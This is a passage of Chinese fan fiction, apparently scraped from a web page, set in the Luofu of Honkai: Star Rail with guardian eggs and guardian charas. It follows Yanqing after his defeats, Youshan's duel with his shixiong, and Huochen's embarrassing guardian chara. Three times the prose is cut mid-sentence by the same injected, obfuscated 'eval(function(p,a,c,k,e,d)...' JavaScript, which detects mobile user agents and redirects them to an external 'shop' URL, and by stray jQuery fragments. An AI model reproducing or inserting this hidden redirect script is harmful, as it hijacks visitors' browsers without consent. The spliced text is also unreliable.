追查的通缉犯被将军从眼前放跑了,彦卿掌心拢着再无动静的蛋,连疑惑的力气都没有了。 他抬头,看向注明被流放、如今却出现在罗浮的饮月君,又看向将军:显然将军现下也很忙,抽不出时间跟他解释。 “彦卿,你暂且返回丹鼎司吧,”将军说,“前面的路,就莫要跟来了。” 他点头应是,原路返回。 波月古海飘荡着经年不散的雾气,朦朦胧胧、迷迷糊糊,什么都看不清楚,就好像现在的他自己。 彦卿坐在船上,拿出蛋,仔细看看: 原来是这个样子啊。 自在诞生得太早了,又不爱睡壳只爱睡床,他也就几乎没见过自在蛋壳的样子。 “我不难过了。” “你出来好不好?” 海面静悄悄,自在没有反应,好像又在说:【你是想骗我还是想骗你自己?】 守护甜心是愿望的具现,那么,是刚才他做了违背自己愿望的事情。 彦卿其实知道是怎么一回事。 短暂的交手足够他看清自己和对手的巨大差距,他打不过通缉犯,也打不过饮月君,却无论如何都不愿意放他们就这样逃走。 于是在落败之后,他把视线转向自在,寄希望于靠形象改造获得远超现在的力量,却只看见渐渐合拢的蛋壳。 这是在走捷径,是对自己一直以来坚持的背叛。守护甜心这样回答他了。 彦卿吐出一口郁气,把蛋拢在手心,望着海面茫然。 莫说如何让蛋重新孵化,他甚至连自己现在在想什么都不清楚。 但是果然,是他做错了什么。 这一点在看到火尘后又得到了证实,孽物离他的短生种朋友只有几步之遥,纵使附近云骑挥刀不慢,看着也实在太危险了。 他斩掉孽物,落在栈桥上听云骑说话,顺便避开火尘的视线。 他了解火尘,他亲爱的朋友拥有了不得的直觉、观察力和判断力,共情能力也是一流,任何事情都瞒不过他。 果然,火尘隔着几步路距离,上下扫了他两眼,目光停在他胸前——是,这里有伤,通缉犯看到他学的那一招,不知怎的发了狂,若说此前是在戏耍他,此后便动了真格,他没避开; 又下滑落到衣摆,彦卿知道那里在滴水——是,饮月君掌云吟御水术,可称控御水体的神明,他连招式的形都看不到,就看见水凝成的青龙直袭而上,冲得他落汤鸡一般,一丝力气也无。 真是瞒不过。 火尘的眼睛亮如明火,拧眉望过来,隔着一层薄雾依然灼人得很。 他索性拉近距离,叫那双眼睛不好看见他的全貌,把暂时不知以何颜面面对的守护蛋交给火尘后,去找符太卜。 符太卜见到他松了一口气,旋即皱起眉头。 彦卿叹气,他在符太卜面前也是不好瞒事情的,毕竟对面法眼无疑。好在当下他们都有更重要的事情要做。 “彦卿,我现在会领兵与景元会合,战场残余都交给你了。” 他刚才没机会问话,如今见了符太卜,才知晓将军要和刚才被他半道拦截的饮月君、还有列车组的客人们一起,去打仙舟真正的敌人幻胧,一时无言。 符玄:“本座知晓,你素来对本座多有不服……” 他摇头:“彦卿已无此意。” 不敬将军如何,不善战斗又如何,如今将军去与敌军的首脑决战,符太卜领兵清剿药王秘传,已然做到了代理将军应做的事。 而他在做什么呢…… 他又快速摇头,把乱七八糟的想法晃干净,应声:“是,彦卿会清扫战场,让丹鼎司尽早恢复秩序。” 符玄抬头,望着平日里要么在她讲话时睡觉、要么站在景元旁边瞪她的,孩子。还只是个孩子。 她稳下心神,重说了一遍:“很好,云骑骁卫彦卿,我无法保证返回时间,这里就交给你了。” “是,符太卜。” 丹鼎司由来已久,过去在对药王的崇信下曾盛极一时,后来虽然地位有所下降,盛时修筑的建筑却依然保留,因无人居住,静静掩在满司部的红枫间,倒也精巧别致。 如今被祸害得一片狼藉。 孽物,就地斩杀;药王残党,捉拿审问;伤员,联系救助;半魔阴的同伴,隔离观察。 飞跃、腾挪、竖劈、横砍,彦卿很忙,飞剑随他一同动作,像是在战场起舞。但在忙碌之间,他可以暂时不去思考太多。 直到看见熟悉的身影,动作有了片刻迟疑。 是游山,似乎负伤了……等等,他身后! 寒光瞬息即至,两柄飞剑呈十字架住袭来的长枪。游山迅速反应过来,回身反手一枪,与偷袭者拉远距离。 彦卿落到他身边,对敌拔剑。 “等等彦卿,”身边人出声阻止,彦卿偏头,看见他目光死死盯紧对面,“这个交给我。” “你认识?” “我师兄。” 游山啐一口唾沫:“好嘛,出院就没影儿,我还当你上哪儿去了。” “原来是在给叛徒当狗啊,执信师兄。” 对面一行五六人,为首一人穿着紫色长袍,若非癫狂的神情,看起来就像个普通文士。 后几人神情慌乱:“紫月季大人!”“是云骑军的猎狗!”“紫月季大人,您现在投诚也来不及了!”“莫要抛下我等……” 最后一句没说完,彦卿的飞剑擦着说话人颈侧钉在墙上,丝丝寒气让人抖成筛子。再往下看,四五人膝盖以下尽数结冰,逃脱不得,不敢出声。 游山吹口哨,扭头:“好重的杀气,谁惹你了?” 彦卿不答话,示意他看对面。 执信同样死死盯着他,咬牙切齿:“那个名字已经和还是猎狗的日子一起埋葬了,我现在是‘紫、月、季’。” “紫~月~季~”游山阴阳怪气模仿,咧嘴笑,“有够难听。” “你的枪呢?执信,”他直起身,枪指对面,“今天就在这里,和我做未完成的决斗吧,以后你就没机会了。” 紫月季看到枪,音调陡然拔高:“我已经打败过你了!我打败你了!你是不肯承认!懦夫!胆小鬼!” “嗯、对,所以,”游山无所谓说法,“手下败将跟你邀战而已,不敢接吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326787|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 负责接应的云骑来了,彦卿在一旁解释完,看他们带走俘虏,靠墙,不错眼地望向这边。 原名执信的紫月季已经癫狂了:“你闭嘴!闭嘴!” “枪都没有还‘神枪’呢。”游山不理他,吐槽完把自己的枪扔过去,空手摊到彦卿面前。 彦卿会意,徒手凝出一杆冰枪,交到朋友手上:“这样你很吃亏。” 冰,过冷影响感知,硬度不及金属,作为武器材质并不合格。他尚未明白镜流所持冰剑是何原理,但显然游山此前没用过冰做的武器。 “那种药肯定是有副作用的,他看着像要发作了,”游山不在乎,接过枪顺手挥两下,“说不上谁更吃亏呢。” 执信的形容已经相当可怖,有枝条从他手臂上生出,缠到长枪上: “药王、慈怀……药王……” “我来帮你解脱吧,师兄。” 朋友低头默念,抬头举枪,飞身而上。 彦卿安静在一边看。 他和游山执信都有过简短的交手,吃了药的执信实力确实大过游山,却也仅此而已了。 秘药刺激了执信的魔阴身,给了他短期暴涨的功力和体能,却也影响了他的判断。这份判断失误表现在对战时,便是反应迟钝、时不时的挥空、以及看不破一些明显的假动作。 加之情绪不稳、执念过深,以及原本枪术就弱于游山……执信落败不过是时间问题。 【那你呢?】 彦卿恍惚听见有声音在问他,不是自在稚嫩的声音,是他自己的声音。 【那你呢?】 他在短短一天内落败三次,对自己的实力把控也不甚清晰了。 对上那些人,便像是对上必输的结局,连时间问题都谈不上。 如果再一次对上了…… 他紧紧握住剑,像抓住一根救命稻草。 游山旋身挑刺,一枪把执信掀飞;又是一枪,“砰!”的一声快狠准,把还没落地的人钉在墙上。战斗结束,游山扛着冰枪向他扬头,好不神气。 彦卿勉力笑。 如果再一次对上,他有信心像游山一样出枪吗? 第三次巡查完栈桥,回到丹鼎司后就听说列车组的客人们带着将军回来了,彦卿伤治到一半,步履匆匆往外走:“看看而已,又不妨事,我实在是放心不下……” 游山跟在后头:“我的帝弓司命啊,求你歇歇吧,早知道你带伤在打我就该直接……” 却听得彦卿话未说完,戛然而止,人也定住。 怎么了? 游山纳闷,探头过来看,乐:“听人劝吃饱饭,你就该和你朋友排排坐躺板板……” 后续彦卿没有听了。 火尘靠坐在墙边椅子上,像是等人,已经等睡着了,他们两个凑过来也没有反应。午后昏黄的光照亮半边身子,他看清这人怀里揣着两个蛋,一个自己的,一个他的。 在等他吗? 始终没停的思考和始终没停的行动都在一瞬间停滞,情绪似乎有了出口,这份过多的重视让人惶恐,彦卿少见的手无足措起来。 游山走了,他踌躇片刻,把火尘抱回房间盖好被子,坐在旁边安静看了会儿。 似乎自己有一部分附在火尘身上,在这个人身边得到了同样的可供安睡的空间。 他累了。 19. 二次社死 睡觉是火尘的一大爱好。没事干了好无聊要睡觉,有事干了好焦虑要睡觉,做噩梦吓醒了要接着睡觉,睡太久睡不着了还是要睡觉,总之就是要睡觉。 他迷迷瞪瞪睡醒时,天色已经暗了。 陌生的床帐、陌生的雕花窗格,一下子想不起自己这是睡在哪儿。 他打个哈欠掀起被子下床,脚刚触地,人就顿住了。 是彦卿。 搬了把椅子靠着床柱、抱着剑,在睡觉。人还没醒,身上的饰物铃铛也都安安静静。 火尘轻手轻脚落地,站到跟前。 彦卿应该是一直坐在这里,只不过被床帐遮住了,他刚醒来时没看到。 他环顾四周,看清这是丹鼎司的某一间病房,布置和他以前待的一样。房间里除了他和彦卿没有其他人,十分安静,只能听见轻轻的呼吸声。 怎么办? 彦卿大概还没醒; 这人好不容易睡一次不能就这样给他弄醒了; 但是坐着睡久了腰痛,年轻时候不注意等老了就……仙舟人好像不存在这个问题; 怎么办? 一大堆乱七八糟的想法从脑子里晃过后,火尘嘀咕: 总不能这么放着不管吧。 不能不管,却也还是要犹豫一番,他就这么站着,低头盯了人发旋好一会儿,发现彦卿的头发并非他早先以为的张扬亮色,而是浅色的。浅浅的金色,发梢带着浅浅的棕色,马尾扎起来发尾正平齐,看起来很乖。 奇了怪了。火尘疑惑,明明他认识彦卿好些天了,怎么今天才注意到? 他又想起在栈桥上见到这人的模样,想起那时彦卿睁着眼,回避一般移开视线,就想起这人的眼睛也不是纯金色,也是浅浅的、透亮的,一眼便可望到底,配上毫无攻击性的圆眼型,像小孩吃的水果糖。 彦卿心情好了,一双眼睛便闪闪发亮,带着整张脸和头发丝都神采飞扬;心情不好了,或是闭上眼了,旁人这才能偶然注意到: 哦,原来不是亮色啊。 能轻易夺人眼目的不是发色瞳色,而是睁着眼的你。 火尘念叨两句,觉得肉麻,自己抖两下,彦卿还没醒。 好半晌,他缓缓弯腰,想要靠看脸判断对方几时醒——其实判断不出来;可还是不够低,又半蹲下去,像在扎马步,然后膝盖一声脆响。 完了,年纪轻轻就骨质疏松了。 没等他吐槽完自己,就听得有人喊他的名字,声音很轻。他心一颤,抬头,彦卿正看着他。 因为是刚睡醒,那双金瞳里有细碎的水光摇晃,显得迷茫,却分明映照着他的影子。 他太喜欢这双眼睛了,喜欢到下意识抬手捂住,偏头不去看。 彦卿:? 不知道是没睡醒还是怎么,眼睛被捂住,彦卿也没有表现出哪里不乐意,只是安静坐着,任他捂着,头动也不动,睫毛一下、一下扫过他掌心。 彦卿睫毛很长,早在趴在工造司柜台上对望时他就知道了。 火尘猛缩手,背到身后左手抓右手,省得自己又干些莫名其妙的事。 而后就看到笑意自对面那双眼中升腾,包裹住他的倒影,彦卿的善意包裹住他: “太好了,你醒啦。” 睡意还未散去,彦卿的嗓音不似以往清亮,有点沙,语调又太过温柔了,听得他很、很……说不上来很什么。 火尘偏过头,抬手不自然地揉揉耳朵,胡乱应几个“嗯”,就起身,顺势往后退一步,撞到桌沿,再顺势捞个凳子坐下,坐好了,再重新看向彦卿。 彦卿似乎没觉得这一串迷惑行为哪里奇怪,他之前坐着睡觉,睡着了坐姿依然规整,连着装都未乱几分,现在只需要重新扎头发。 正在扎,见他望过来了,就叼着发绳扬眉疑惑:怎么了? 没怎么。火尘继续盯着人看,也没回应。 彦卿的发绳上缀着个挺大的银环,银环上还雕刻花纹,像是碎叶片,又像是燕子尾巴。亮亮的,看着很贵。他平日看不见这个环,只能看见环上缀着的蓝白色发带。 彦卿扎好了,金发扎成高马尾,放下时顺势晃晃,银环就被头发挡住看不见了: “火尘?” “嗯!”他一下反应过来,坐正,“我在这儿呢。” 彦卿眨巴眼:“我知道你在这儿,我是问你在看什么?” 看你扎头发。 火尘咂摸一下,觉得这话说出来实在是太没距离感了,索性不说,从怀里摸出蛋递过去。 彦卿看着蛋,犹豫片刻才接过:“多谢。” 火尘有好多话想问。 自在怎么了; 你受打击了吗,因为那个白发剑客; 你去哪里了,那些事我能知道吗; 就算不能知道,你能挑只关于你的部分讲给我听,然后我……或许我可以为你做点什么? 但也是一样,太没距离感了。 他低头,明明还什么都没发生,却一句话也说不出来,狼狈地在房间里四处张望好转移注意力。 因为他不知道自己能做什么,也不知道自己该用什么立场说这些话,朋友? 就和那句“看你扎头发”一样,似乎已经越界了。 于是只得警觉地退回去,隔着自己画好的线看彦卿,一言不发。 却有人搬凳子凑到他身边,攥住他右手手臂。 这个房间只有两个人。 他不明所以抬眼,彦卿正垂下眼睫,盯着他手看,专注的样子叫人心痒痒。 干、干干、干什么! 衣袖被轻松拉起来了,火尘才反应过来,自己醒来之后什么都没干,穿着里衣散着头发就坐在一边,只干了两件事:看彦卿睡觉、看彦卿扎头发。 虽说他们俩男的,不穿衣服也不是什么大事,但这种后知后觉让人莫名羞耻。 他被自己蠢到了。 而在意识到这一点之后一下就觉得哪哪儿都不对劲了: 彦卿好近; 彦卿手好凉; 彦卿好好看; …… 不对,是他又丢大人了……不对!是他本来要问彦卿蛋的事情! 被人拉个手就什么都忘了。 火尘咬牙:所谓饱暖思淫欲。 “彦卿,你和自在是怎么回事?” 终于问出来了,火尘长舒一口气。这个可以问,他问的是守护蛋的事,他和彦卿又都是守护者,四舍五入就是公事,完全不越界! 问完盯着彦卿看,却没等到回答,只听见对方欲盖弥彰般开口: “火尘,你伤口疼吗?” “你睡着的时候,我从其他医士那里要来了你的检查报告……” 彦卿把他袖子拉高,捧着他手臂翻来覆去看,比起拉手更像在检查,神情严肃,少有的显出几分冷面剑客的样子。 好帅。 不对! 如此刻意地无视我的提问,还扯开话题! 火尘左手拍右手臂,要被自己气笑了:无论如何,他不能再继续犯蠢了! 彦卿看不明白这操作,迅速抓住火尘另一只手,无奈道:“不疼也用不着这样证明吧。” 不是证明不疼,火尘冷脸,是在证明我不蠢,没有连着犯花痴。 他一心二用,一边继续冷脸:“问你话,为什么不答?” 一边在心里狂敲守护甜心:【你干的?】 很快,心里传来守护甜心的狂笑和免责声明:【你不能有点什么事就都赖我身上吧,怀春少男~】 滚滚滚。 火尘想起自己早先那通激情表白,想到守护甜心的免责声明,又想到自己在看到彦卿后就迅速变蠢的脑子,整个人都不好了。 不能是他想的那样吧。 如果不是还惦记着彦卿的回答,他现在就要两条腿跑回长乐天睡大觉,一觉醒来就说自己失忆了。然而此时还坚强地站在这里,不知道彦卿到底出的什么事他大概会睡不着觉。 彦卿看起来也很不安,却是在不安别的事情,张口,话到嘴边又吞回去了,左看右看就是不看他。最后重新垂头盯他手臂,好像能看出朵花来。 他使点劲往回缩,彦卿使点劲给他拽住,但是依然不看他。 刚才他嫌自己半天说不出一句话,现在看彦卿今天也没好到哪去。 火尘找回点说话的自信,慢吞吞开口: “我疼。” 彦卿瞬间松力,终于开口,却懊恼得几近惶恐了:“抱歉,火尘,我……” 他迅速接上:“骗你的。” 彦卿愣住,瞪眼,一双无辜的圆眼睛此时显得更委屈了,却也不说他什么,只说:“你怎么这样……” 这人去外面会被人欺负死的。 “我就这样。” 被厚脸皮的人一句话噎住了,也不反击,也不说教,只拧起眉头观察:“这么说你好全了,那也算好事。” 长生种的药几近于生死人肉白骨,他起身,抬起那只好全的手臂就往人脑袋上揉,被气还没消的彦卿不客气拨开,他乐了。 “我没事。” “那我也没事。” “我不信。” 火尘低头看去,彦卿顺着他视线看,正看到怀里那个闭拢后全无动静的蛋。 在心理问题上,守护甜心的存在简直就是个大漏勺。 彦卿沉默半晌,却依然不跟他解释,把蛋藏好后想起自己还在生气,就小声嘀咕:“不信就不信,谁要你信了。” 火尘叹气。 “彦卿。” “你心情不好,不说话,心灵之蛋又闭拢了,我不知道该怎么办。” “我很担心你。” “从栈桥看到你就开始……从你独自去丹鼎司就开始担心了。” 他蹲下,这个视角能看清彦卿垂着头的脸,彦卿视线躲闪,不愿意看他: “我刚才骗了你的担心,你也可以骗我来担心。”其实不用骗,你本来就够让人担心了。 “不用想着负面情绪自己消化,反正我骗了你,有来有回嘛,很公平。” “也不用觉得自己让别人失望了,没有人……至少我永远不会。”你光是存在,就足够让人高兴了,怎么会失望呢。 “那个时候在栈桥上,看到你全须全尾出现我面前,我真的很高兴。” 现在大概已经很晚了,窗外亮起灯,橙红色的光透过身后窗户照在彦卿脸上,泛起一圈柔和的光晕。 “抱歉,火尘,”他看见彦卿思索良久,重新看向他时终于不笑了,眉梢嘴角都往下撇,浅金瞳里泄出一点浅浅的悲伤,收回了逞强的话,“我有事。” 火尘听见花开的声音,望着彦卿的脸一眨不眨。 自己大概是脑子出了什么问题。 他亲爱的好朋友正在苦恼,并且在他锲而不舍的追问下终于开口了,但他满脑子都是“他真可爱”的废料,只觉得这个人生气好可爱,隐瞒好可爱,坦诚也好可爱。 不过问题好像蛮严重的,火尘迅速扯回思路: 首先,“不要说抱歉,你没有哪里对不起我。” 其次,“发生什么了?如果你有空的话,我可以听你讲,反正我一直有空。” “……谢谢,但事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326788|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都告一段落了,我总不好再让你担心,”彦卿摇头,就只跟他说这么多,神情却也松快几分,“而且,我也需要时间理清楚。” 这不是他想要的回答。火尘咂摸着,但至少彦卿开口了。 “说些高兴的吧,你的守护甜心出生了对吗?我刚才看到他了。” 啊对。火尘扫一圈,才发现守护甜心不在。 “许是出去玩了?”彦卿也才发现,回想,“是个很可爱的孩子,他叫什么?” 火尘:…… 忘记问了! “小燃,”像是在外面听了许久墙角,此话一出,守护甜心就从窗口慢悠悠飘进来,“我叫小燃,谢谢你问我,彦卿。” “不客气。” 忘了问名字,火尘有点心虚,对上守护甜心的脸,发现对面一样心虚。 咋了? 小燃凑到他耳朵边:“其实我对你用了形象改造,你没感觉吗?” 火尘:??? 【什么时候开始的?】 【你敲过我之后呗,我看你这么纠结,就想鼓鼓劲,今天把你谈恋爱这个事给定了!】 火尘:…… 谁要谈恋爱了! 你在起什么劲啊! 热血上头的脑子终于理智回笼。他恍然:怪不得自己之前明明半个字都憋不出来,后来却突然就能叭叭那么多…… “怪不得,火尘刚才身上发红光,原来是形象改造的光啊。”在场的另一人恍然大悟。 火尘咔哒咔哒转头。 激动的心、颤抖的手、恨不能重来一遍的脑子催促他问:“……你看见了,怎么没提醒我?” 彦卿老实、甚至有些理所当然地答:“我以为那是你自己在发光呢。” 正常人哪里会发光啊!你以为人人都是你吗! 火尘在脑子里快速过一遍刚才的话,越回忆越羞耻,整个人都要烧起来了,这时听见彦卿问: “所以,那些话不是想说给我听的吗?” 他一下僵住,转头。 “你看起来很懊恼。” 云骑骁卫的观察力不容小视,彦卿看出来了,顺着他的反应帮他解释,只是语调难掩失望:“跟那天一样,是形象改造导致的偏差,不是你的真实想法?” “算了,”就连那一点失望都被转瞬藏起,他才发现彦卿隐藏情绪很有一手,不待他反应就开始自我安慰,“是真是假都没有关系,我很高兴收到你的鼓励,我会很珍惜那些话……” 很担心你、很高兴见到你、没有对你失望、想听你诉说忧愁…… 其实每一句都是他想说的。 又来!你又来! 【我们还不算朋友。】 【不算吗?】 火尘想起上回关于“算不算朋友”的回答,深感自己又陷入了同样的套路,自暴自弃开口: “不是,那些都是我想说的。” 暧昧就暧昧,没有距离感就没有距离感,无论如何,他都不想让彦卿失望,之前是这样,现在是这样,以后大概也是这样。 真的要被这个人用情绪套牢了。 怎么得了。 看到彦卿重新露出笑容,火尘又开始给自己画线。 他在心里狂敲睡大觉的守护甜心:【你不觉得这个场面你该负一定责任吗?】 小燃莫名其妙:【不是皆大欢喜吗?】 【我是说过程,这些话不该由我来跟彦卿说……】 【那由谁来说?】 火尘一下卡壳,他不了解彦卿的交际圈,但他本能感到自己不该和彦卿这么亲近。 【关系好就好呗,哪有什么该不该的。】 火尘不管:【反正你得想办法,让我显得不那么越界。】 【啧。】 小燃很明显嫌他事多,但还是慢吞吞伸个懒腰,飘起来插到他们中间,面向彦卿。 彦卿不明所以,还是伸手接住小精灵:“你好呀。” 火尘突然有很不好的预感,有心阻止。 说出去的话就是泼出去的水; 彦卿大概经常被人关心,刚才那些话也不一定就会让他多想; 而且他都二次承认了,彦卿看着不是很高兴嘛,不如就让小燃回来…… “你好。” 他的预感在半分钟内应验了。 小燃抬头,气沉丹田: “彦卿——” 稚气的、甜腻的,像是为了恶心主人故意装出些许做作的撒娇腔调,以及和正主如出一辙的认真目光,认真到彦卿恍惚,好像真的看见了火尘在跟他说: “我好——喜欢你——” 满室安静。 彦卿:…… 火尘:??? 彦卿怔愣片刻,笑出声,对着幼年版火尘的脸,找回和自在说话时的哄小孩语气:“谢谢,我也好——喜欢你呀。” 小燃很可爱,五短身材一身红衣,看着很喜庆;短发炸起,还有那张极为相似的脸,让他不由自主想像小时候的火尘。 或许就是这个模样呢。 他抬头,正主立在他正对面,整个人僵住了,耳廓通红。 彦卿认得,这是害羞的反应,只是他不清楚火尘为什么害羞。 ——总不会是因为守护甜心表白害羞吧,这些小家伙智商都和幼儿差不多…… “火……?” 可不待他追问,对方就低下头,一把捞过守护甜心夺门而出,推门时还被门槛绊了一下,踉踉跄跄跑走了。 彦卿茫然。 片刻后,他低头摩挲两下自在的蛋壳,起身提气抬头,离开房间。 20.相性不合 火尘发现他和自己的守护甜心相性不合。 别人形象改造提升体力,他形象改造拉低智商——他都数不清自己在彦卿面前犯过多少次蠢了。 “哎,”小燃逮着漏洞呛他,“我只用过三次哈,两次表白,一次逃命。” “别的哪儿能怪我呢,那不是你自己蠢吗?” 他的守护甜心不止不听人话,说话还比他刻薄,真叫人心塞。 “不习惯是正常的呀,和自己相处本来就是很新奇的体验,”隐书坐在柜台边打量着小燃,抬头看他,“你们以后说不定会很合拍呢。” 和自己相处,自己。 火尘低头,看守护甜心正凑在隐书的书边瞧内容,一副什么都好奇的小孩样,心里嘀咕:我可不觉得。 “别太早下定论嘛,看,”隐书把书推远些,视角盲区没有了,里边露出一个缩小版隐书,“我们就相处得很好啊。” 小隐书不甚在意他们的交谈,只眼巴巴望着被推远的书,跑出来绕到书前试图把它推回去,小燃跳下去帮忙一起推。 “一、二,加油!”用力到书页都要折了。 火尘撑着下巴看,顺手推一下,两个小家伙没处借力齐刷刷摔倒在书前。 小隐书爬起来拍拍身上灰,看见书已经在原位了,就道谢:“多谢这位队员。” 小燃就地翻个面,仰躺着看他,不说话,眼神很无语。 隐书笑。 火尘摸摸鼻子,捞起自家守护甜心。 今日长乐天是他轮值,隐书让他四处转转。 “大战刚结束,大家的心还都不是很稳定,就拜托你巡视了。” “不过,只要没到危害公共秩序的程度,就不用管。” 青雀和他说过的,如今隐书又说一遍,却不是从减轻工作负担上来说: “治疗心伤需要时间,即便把那些坏蛋都收集起来交给龙女大人施魔法,也只能算暂时的抚慰,关键看他们自己。” “换言之,我们处理的虽然是个人心理问题,但衡量是否该处理的依据,是它是否会损害仙舟的正常秩序;如果不会,那就不管。” 火尘了然。 能少干活,何乐而不为。 本着这样的原则,他在长乐天晃荡两圈,都没碰上黑化守护蛋搞破坏的事件。 大战刚过,心情不好的人很多,但显然长生种的心没有那么容易动摇,大部分人惴惴不安一阵子,一转眼就忘干净了。 倒是碰上小鱼,和三个经常欺负小鱼的讨厌鬼。 “就是你跟开拓者告状的吧!” “打不过就告诉大人,真卑鄙!” “卑鄙!” 小鱼看不见,但显然听出了这几人的声音,慌乱后退,一不小心绊了一跤,跌坐在地,惹得三人嬉笑。 为首小孩拖长音唱起歌:“小瞎子——” 啧,讨嫌。 火尘随手扯起别人店门口的笤帚,“唰唰”两下照脸扇去,小孩被扇懵了,声音卡在喉咙里。 嘴贱扇嘴,“垃圾一号;” 手贱扇手,“垃圾二号;” 剩下一个打屁股,“垃圾三号。” 打完一圈,火尘好整以暇站到小鱼身前,小鱼扶着他裤腿站起来,自己拍拍灰,没出声。 对面讨嫌小孩倒是哇哇大叫:“又是你!你每次这样欺负我们无辜小朋友,就不会感到愧疚吗?” 无辜小朋友……哇。 火尘懒得跟他掰扯,抖抖手里的笤帚:“我一个路过帮忙扫垃圾的热心住民,有什么好愧疚的?我都没管地衡司要锦旗。” “你扫……”小孩卡一下,反应过来刚才被扫的是谁,继续大叫,“你才是垃圾!” “嗯嗯,我是垃圾,”火尘无伤接话,“所以你们三个聚一起干嘛呢,合成大垃圾?” “你才是……”小孩话说一半,又反应过来这话伤不到他,一口气憋不下来,叽里哇啦一大堆,“开拓者刚才来找我们,说以后再敢欺负小鱼,就要我们好看!”“我们正好看到小鱼了,肯定是她告的状!” “嗯,所以你们前脚答应开拓者,后脚就来欺负她了。” 小孩嘴硬:“问几句话而已,我碰都没碰到她!” 你管那叫问几句话是吗,我把你吊起来,然后在底下唱小矮子下不来怎么样……总感觉攻击力还是稍显不足。 而且他也不能真这样干,最多叫家长,但之前已经见过几回这些人的家长了,尽是群爱和稀泥的,张口就是“小孩子不懂事”。 怎么能讨嫌到这种程度。火尘磨牙,不说话还好,越说话越讨嫌。 小鱼在轻轻扯他裤腿,大概是要他算了……可是不行,这事肯定不能就这样算了,现在连仙舟贵客开拓者的警告都敢不听,以后不得上天? 越想越憋屈,越憋屈越想。 小燃飞在他身边,此时饶有兴味看了一眼他表情: 【火尘。】 【干嘛?】烦着呢。 【想做什么就去做吧,】小燃在他眼前绕个圈圈,小精灵全身连带着他眼底都泛起明亮的火光,【让正在犹豫的孩子行动力max——】 【形象改造!】 火尘一顿,目光沉沉看向小孩,笤帚一扔,迈步逼近。 “你、你想干嘛,我们罗浮三少是宁死不屈的!” * 彦卿到现场时,场面相当混乱。 “你快放我下来!” “你跳下来,我接住你。” “它叼着我,我怎么跳!” “那我爬树上去救你?” “你不许动!就站那里!”小孩瞪眼,中气十足,逻辑通顺,看起来还可以在机巧鸟嘴边挂好久,“万一我衣领子破了掉下去没人接怎么办!” 火尘咬牙甩锅:【你还真是给我添了个大麻烦。】 小燃甩回去:【形象改造是以你的想法为基础的,你自己不想的话,我也用不出来啊。】 小孩还在吵。火尘用尽此生耐心: “那我重新接入机巧鸟,放你下来?” “谁知道你会不会把我叼到更高的地方去啊!你简直就是长乐天,不对,是全罗浮最大的恶霸!爹——娘——” 小孩从哇哇大叫变成哇哇大哭了,但火尘看着还没围墙高的滞空,心中全无波澜,甚至有点想笑。小燃仗着没多少人看见他,已经笑了好久,连小鱼都笑了。 不过这个场面还是要解决的。 火尘被勒令站在底下接人不许动,地衡司已经有执事搬着梯子赶过来,可最后还是那道光更快。 彦卿踩在剑上,一手抱机巧鸟一手抱小孩,轻飘飘落到他身前。 “彦卿骁卫……” “是彦卿大人!” “哦,就是传闻中那位……” 这个人的装逼功力一如既往的了不得,一来就吸引了全场的目光,人群聚过来交谈几句,一瞬间变得十分吵闹。 说实话在这种视线焦点情况下,对面跟他打招呼,他是拒绝回应的。 “火尘,这是怎么了?” 可谁让彦卿问了呢。 他刚想随口糊弄过去,也算给双方一个台阶下;但讨嫌小孩张口就来,说话甚至一下从中气十足变得弱小可怜又无助: “彦卿大人,他好过分,他把我用机巧鸟吊起来,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328226|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在下面笑我,之前还用扫把打我。” 火尘又开始磨牙。 彦卿落地总该有十秒了,机巧鸟都已经自行回到充能桩柱上了,这讨嫌小鬼还窝在彦卿怀里不肯下来,抱着彦卿脖子装可怜。 彦卿动动手,腾出些距离,视线直直对上小孩眼睛,问话声音很平稳:“你说的是实话?” “是、是实话。”对面回话声音却很不平稳,小小的孩子,目光躲闪。 火尘冷笑:“是实话,就是省略了你们经常仗着小鱼看不见偷小鱼东西、哄小鱼上高处,然后围着她哄笑说——” “‘小瞎子,上楼台;上得去,下不来’,”小鱼像是早已习惯,语气平静甚至有点骄傲,“我都会背了。” 然后看到彦卿的面色骤然变了。 火尘跟小鱼击掌。 装可怜告状而已,他嘀咕,谁不会似的。 “还有好久之前,我刚来仙舟,一直对着我喊化外民短生种病秧子,说我占仙舟资源,没几年好活。” 彦卿转头,没说话,伸手牵住他。 小孩瞪眼:“这么久的事你都记!” 火尘下意识回握住,嘴还没停:“时间过去了不代表事情过去了,你一句道歉都没有还成天这么讨嫌地在我面前晃来晃去,我记久一点怎么了?” 我就是要记住,要计较,你咒我死,我就斤斤计较到死为止。 但眼瞅着彦卿皱起眉头,他又想起这人最近应该公务缠身,不好再拿这种事打扰; 